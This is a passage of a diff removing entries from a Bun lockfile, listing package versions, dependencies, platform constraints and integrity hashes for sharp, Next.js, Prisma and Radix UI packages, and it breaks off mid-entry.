- "@humanwhocodes/object-schema": ["@humanwhocodes/object-schema@2.0.3", "", {}, "sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA=="],
-
- "@img/colour": ["@img/colour@1.1.0", "", {}, "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ=="],
-
- "@img/sharp-darwin-arm64": ["@img/sharp-darwin-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-arm64": "1.2.4" }, "os": "darwin", "cpu": "arm64" }, "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w=="],
-
- "@img/sharp-darwin-x64": ["@img/sharp-darwin-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-x64": "1.2.4" }, "os": "darwin", "cpu": "x64" }, "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw=="],
-
- "@img/sharp-libvips-darwin-arm64": ["@img/sharp-libvips-darwin-arm64@1.2.4", "", { "os": "darwin", "cpu": "arm64" }, "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g=="],
-
- "@img/sharp-libvips-darwin-x64": ["@img/sharp-libvips-darwin-x64@1.2.4", "", { "os": "darwin", "cpu": "x64" }, "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg=="],
-
- "@img/sharp-libvips-linux-arm": ["@img/sharp-libvips-linux-arm@1.2.4", "", { "os": "linux", "cpu": "arm" }, "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A=="],
-
- "@img/sharp-libvips-linux-arm64": ["@img/sharp-libvips-linux-arm64@1.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw=="],
-
- "@img/sharp-libvips-linux-ppc64": ["@img/sharp-libvips-linux-ppc64@1.2.4", "", { "os": "linux", "cpu": "ppc64" }, "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA=="],
-
- "@img/sharp-libvips-linux-riscv64": ["@img/sharp-libvips-linux-riscv64@1.2.4", "", { "os": "linux", "cpu": "none" }, "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA=="],
-
- "@img/sharp-libvips-linux-s390x": ["@img/sharp-libvips-linux-s390x@1.2.4", "", { "os": "linux", "cpu": "s390x" }, "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ=="],
-
- "@img/sharp-libvips-linux-x64": ["@img/sharp-libvips-linux-x64@1.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw=="],
-
- "@img/sharp-libvips-linuxmusl-arm64": ["@img/sharp-libvips-linuxmusl-arm64@1.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw=="],
-
- "@img/sharp-libvips-linuxmusl-x64": ["@img/sharp-libvips-linuxmusl-x64@1.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg=="],
-
- "@img/sharp-linux-arm": ["@img/sharp-linux-arm@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm": "1.2.4" }, "os": "linux", "cpu": "arm" }, "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw=="],
-
- "@img/sharp-linux-arm64": ["@img/sharp-linux-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm64": "1.2.4" }, "os": "linux", "cpu": "arm64" }, "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg=="],
-
- "@img/sharp-linux-ppc64": ["@img/sharp-linux-ppc64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-ppc64": "1.2.4" }, "os": "linux", "cpu": "ppc64" }, "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA=="],
-
- "@img/sharp-linux-riscv64": ["@img/sharp-linux-riscv64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-riscv64": "1.2.4" }, "os": "linux", "cpu": "none" }, "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw=="],
-
- "@img/sharp-linux-s390x": ["@img/sharp-linux-s390x@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-s390x": "1.2.4" }, "os": "linux", "cpu": "s390x" }, "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg=="],
-
- "@img/sharp-linux-x64": ["@img/sharp-linux-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-x64": "1.2.4" }, "os": "linux", "cpu": "x64" }, "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ=="],
-
- "@img/sharp-linuxmusl-arm64": ["@img/sharp-linuxmusl-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-arm64": "1.2.4" }, "os": "linux", "cpu": "arm64" }, "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg=="],
-
- "@img/sharp-linuxmusl-x64": ["@img/sharp-linuxmusl-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-x64": "1.2.4" }, "os": "linux", "cpu": "x64" }, "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q=="],
-
- "@img/sharp-wasm32": ["@img/sharp-wasm32@0.34.5", "", { "dependencies": { "@emnapi/runtime": "^1.7.0" }, "cpu": "none" }, "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw=="],
-
- "@img/sharp-win32-arm64": ["@img/sharp-win32-arm64@0.34.5", "", { "os": "win32", "cpu": "arm64" }, "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g=="],
-
- "@img/sharp-win32-ia32": ["@img/sharp-win32-ia32@0.34.5", "", { "os": "win32", "cpu": "ia32" }, "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg=="],
-
- "@img/sharp-win32-x64": ["@img/sharp-win32-x64@0.34.5", "", { "os": "win32", "cpu": "x64" }, "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw=="],
-
- "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="],
-
- "@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="],
-
- "@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="],
-
- "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
-
- "@next/env": ["@next/env@15.5.15", "", {}, "sha512-vcmyu5/MyFzN7CdqRHO3uHO44p/QPCZkuTUXroeUmhNP8bL5PHFEhik22JUazt+CDDoD6EpBYRCaS2pISL+/hg=="],
-
- "@next/eslint-plugin-next": ["@next/eslint-plugin-next@15.5.15", "", { "dependencies": { "fast-glob": "3.3.1" } }, "sha512-ExQoBfyKMjAUQ2nuF39ryQsG26H374ZfH13dlOZqf6TaE9ycRbIm+qUbUFCliU4BtQhiqtS7cnGA1yWfPMQ+jA=="],
-
- "@next/swc-darwin-arm64": ["@next/swc-darwin-arm64@15.5.15", "", { "os": "darwin", "cpu": "arm64" }, "sha512-6PvFO2Tzt10GFK2Ro9tAVEtacMqRmTarYMFKAnV2vYMdwWc73xzmDQyAV7SwEdMhzmiRoo7+m88DuiXlJlGeaw=="],
-
- "@next/swc-darwin-x64": ["@next/swc-darwin-x64@15.5.15", "", { "os": "darwin", "cpu": "x64" }, "sha512-G+YNV+z6FDZTp/+IdGyIMFqalBTaQSnvAA+X/hrt+eaTRFSznRMz9K7rTmzvM6tDmKegNtyzgufZW0HwVzEqaQ=="],
-
- "@next/swc-linux-arm64-gnu": ["@next/swc-linux-arm64-gnu@15.5.15", "", { "os": "linux", "cpu": "arm64" }, "sha512-eVkrMcVIBqGfXB+QUC7jjZ94Z6uX/dNStbQFabewAnk13Uy18Igd1YZ/GtPRzdhtm7QwC0e6o7zOQecul4iC1w=="],
-
- "@next/swc-linux-arm64-musl": ["@next/swc-linux-arm64-musl@15.5.15", "", { "os": "linux", "cpu": "arm64" }, "sha512-RwSHKMQ7InLy5GfkY2/n5PcFycKA08qI1VST78n09nN36nUPqCvGSMiLXlfUmzmpQpF6XeBYP2KRWHi0UW3uNg=="],
-
- "@next/swc-linux-x64-gnu": ["@next/swc-linux-x64-gnu@15.5.15", "", { "os": "linux", "cpu": "x64" }, "sha512-nplqvY86LakS+eeiuWsNWvfmK8pFcOEW7ZtVRt4QH70lL+0x6LG/m1OpJ/tvrbwjmR8HH9/fH2jzW1GlL03TIg=="],
-
- "@next/swc-linux-x64-musl": ["@next/swc-linux-x64-musl@15.5.15", "", { "os": "linux", "cpu": "x64" }, "sha512-eAgl9NKQ84/sww0v81DQINl/vL2IBxD7sMybd0cWRw6wqgouVI53brVRBrggqBRP/NWeIAE1dm5cbKYoiMlqDQ=="],
-
- "@next/swc-win32-arm64-msvc": ["@next/swc-win32-arm64-msvc@15.5.15", "", { "os": "win32", "cpu": "arm64" }, "sha512-GJVZC86lzSquh0MtvZT+L7G8+jMnJcldloOjA8Kf3wXvBrvb6OGe2MzPuALxFshSm/IpwUtD2mIoof39ymf52A=="],
-
- "@next/swc-win32-x64-msvc": ["@next/swc-win32-x64-msvc@15.5.15", "", { "os": "win32", "cpu": "x64" }, "sha512-nFucjVdwlFqxh/JG3hWSJ4p8+YJV7Ii8aPDuBQULB6DzUF4UNZETXLfEUk+oI2zEznWWULPt7MeuTE6xtK1HSA=="],
-
- "@nodelib/fs.scandir": ["@nodelib/fs.scandir@2.1.5", "", { "dependencies": { "@nodelib/fs.stat": "2.0.5", "run-parallel": "^1.1.9" } }, "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g=="],
-
- "@nodelib/fs.stat": ["@nodelib/fs.stat@2.0.5", "", {}, "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A=="],
-
- "@nodelib/fs.walk": ["@nodelib/fs.walk@1.2.8", "", { "dependencies": { "@nodelib/fs.scandir": "2.1.5", "fastq": "^1.6.0" } }, "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg=="],
-
- "@nolyfill/is-core-module": ["@nolyfill/is-core-module@1.0.39", "", {}, "sha512-nn5ozdjYQpUCZlWGuxcJY/KpxkWQs4DcbMCmKojjyrYDEAGy4Ce19NN4v5MduafTwJlbKc99UA8YhSVqq9yPZA=="],
-
- "@prisma/client": ["@prisma/client@6.19.3", "", { "peerDependencies": { "prisma": "*", "typescript": ">=5.1.0" }, "optionalPeers": ["prisma", "typescript"] }, "sha512-mKq3jQFhjvko5LTJFHGilsuQs+W+T3Gm451NzuTDGQxwCzwXHYnIu2zGkRoW+Exq3Rob7yp2MfzSrdIiZVhrBg=="],
-
- "@prisma/config": ["@prisma/config@6.19.3", "", { "dependencies": { "c12": "3.1.0", "deepmerge-ts": "7.1.5", "effect": "3.21.0", "empathic": "2.0.0" } }, "sha512-CBPT44BjlQxEt8kiMEauji2WHTDoVBOKl7UlewXmUgBPnr/oPRZC3psci5chJnYmH0ivEIog2OU9PGWoki3DLQ=="],
-
- "@prisma/debug": ["@prisma/debug@6.19.3", "", {}, "sha512-ljkJ+SgpXNktLG0Q/n4JGYCkKf0f8oYLyjImS2I8e2q2WCfdRRtWER062ZV/ixaNP2M2VKlWXVJiGzZaUgbKZw=="],
-
- "@prisma/engines": ["@prisma/engines@6.19.3", "", { "dependencies": { "@prisma/debug": "6.19.3", "@prisma/engines-version": "7.1.1-3.c2990dca591cba766e3b7ef5d9e8a84796e47ab7", "@prisma/fetch-engine": "6.19.3", "@prisma/get-platform": "6.19.3" } }, "sha512-RSYxtlYFl5pJ8ZePgMv0lZ9IzVCOdTPOegrs2qcbAEFrBI1G33h6wyC9kjQvo0DnYEhEVY0X4LsuFHXLKQk88g=="],
-
- "@prisma/engines-version": ["@prisma/engines-version@7.1.1-3.c2990dca591cba766e3b7ef5d9e8a84796e47ab7", "", {}, "sha512-03bgb1VD5gvuumNf+7fVGBzfpJPjmqV423l/WxsWk2cNQ42JD0/SsFBPhN6z8iAvdHs07/7ei77SKu7aZfq8bA=="],
-
- "@prisma/fetch-engine": ["@prisma/fetch-engine@6.19.3", "", { "dependencies": { "@prisma/debug": "6.19.3", "@prisma/engines-version": "7.1.1-3.c2990dca591cba766e3b7ef5d9e8a84796e47ab7", "@prisma/get-platform": "6.19.3" } }, "sha512-tKtl/qco9Nt7LU5iKhpultD8O4vMCZcU2CHjNTnRrL1QvSUr5W/GcyFPjNL87GtRrwBc7ubXXD9xy4EvLvt8JA=="],
-
- "@prisma/get-platform": ["@prisma/get-platform@6.19.3", "", { "dependencies": { "@prisma/debug": "6.19.3" } }, "sha512-xFj1VcJ1N3MKooOQAGO0W5tsd0W2QzIvW7DD7c/8H14Zmp4jseeWAITm+w2LLoLrlhoHdPPh0NMZ8mfL6puoHA=="],
-
- "@radix-ui/number": ["@radix-ui/number@1.1.1", "", {}, "sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g=="],
-
- "@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="],
-
- "@radix-ui/react-accordion": ["@radix-ui/react-accordion@1.2.12", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collapsible": "1.1.12", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-T4nygeh9YE9dLRPhAHSeOZi7HBXo+0kYIPJXayZfvWOWA0+n3dESrZbjfDPUABkUNym6Hd+f2IR113To8D2GPA=="],
-
- "@radix-ui/react-alert-dialog": ["@radix-ui/react-alert-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dialog": "1.1.15", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-oTVLkEw5GpdRe29BqJ0LSDFWI3qu0vR1M0mUkOQWDIUnY/QIkLpgDMWuKxP94c2NAC2LGcgVhG1ImF3jkZ5wXw=="],
-
- "@radix-ui/react-arrow": ["@radix-ui/react-arrow@1.1.7", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w=="],
-
- "@radix-ui/react-checkbox": ["@radix-ui/react-checkbox@1.3.3", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-previous": "1.1.1", "@radix-ui/react-use-size": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wBbpv+NQftHDdG86Qc0pIyXk5IR3tM8Vd0nWLKDcX8nNn4nXFOFwsKuqw2okA/1D/mpaAkmuyndrPJTYDNZtFw=="],
-
- "@radix-ui/react-collapsible": ["@radix-ui/react-collapsible@1.1.12", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA=="],
-
- "@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw=="],
-
- "@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg=="],
-
- "@radix-ui/react-context": ["@radix-ui/react-context@1.1.2", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA=="],
-
- "@radix-ui/react-dialog": ["@radix-ui/react-dialog@1.1.15", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-controllable-state": "1.2.2", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw=="],
-
- "@radix-ui/react-direction": ["@radix-ui/react-direction@1.1.1", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw=="],
-
- "@radix-ui/react-dismissable-layer": ["@radix-ui/react-dismissable-layer@1.1.11", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1", "@radix-ui/react-use-escape-keydown": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg=="],
-
- "@radix-ui/react-dropdown-menu": ["@radix-ui/react-dropdown-menu@2.1.16", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-menu": "2.1.16", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-controllable-state": "1.2.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-1PLGQEynI/3OX/ftV54COn+3Sud/Mn8vALg2rWnBLnRaGtJDduNW/22XjlGgPdpcIbiQxjKtb7BkcjP00nqfJw=="],
-
- "@radix-ui/react-focus-guards": ["@radix-ui/react-focus-guards@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw=="],
-
- "@radix-ui/react-focus-scope": ["@radix-ui/react-focus-scope@1.1.7", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-use-callback-ref": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw=="],
-
- "@radix-ui/react-id": ["@radix-ui/react-id@1.1.1", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg=="],
-
- "@radix-ui/react-label": ["@radix-ui/react-label@2.1.8", "", { "dependencies": { "@radix-ui/react-primitive": "2.1.4" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-FmXs37I6hSBVDlO4y764TNz1rLgKwjJMQ0EGte6F3Cb3f4bIuHB/iLa/8I9VKkmOy+gNHq8rql3j686ACVV21A=="],
-
- "@radix-ui/react-menu": ["@radix-ui/react-menu@2.1.16", "", { "dependencies": { "@radix-ui/primitive": "1.1.3", "@radix-ui/react-collection": "1.1.7", "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-context": "1.1.2", "@radix-ui/react-direction": "1.1.1", "@radix-ui/react-dismissable-layer": "1.1.11", "@radix-ui/react-focus-guards": "1.1.3", "@radix-ui/react-focus-scope": "1.1.7", "@radix-ui/react-id": "1.1.1", "@radix-ui/react-popper": "1.2.8", "@radix-ui/react-portal": "1.1.9", "@radix-ui/react-presence": "1.1.5", "@radix-ui/react-primitive": "2.1.3", "@radix-ui/react-roving-focus": "1.1.11", "@radix-ui/react-slot": "1.2.3", "@radix-ui/react-use-callback-ref": "1.1.1", "aria-hidden": "^1.2.4", "react-remove-scroll": "^2.6.3" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, 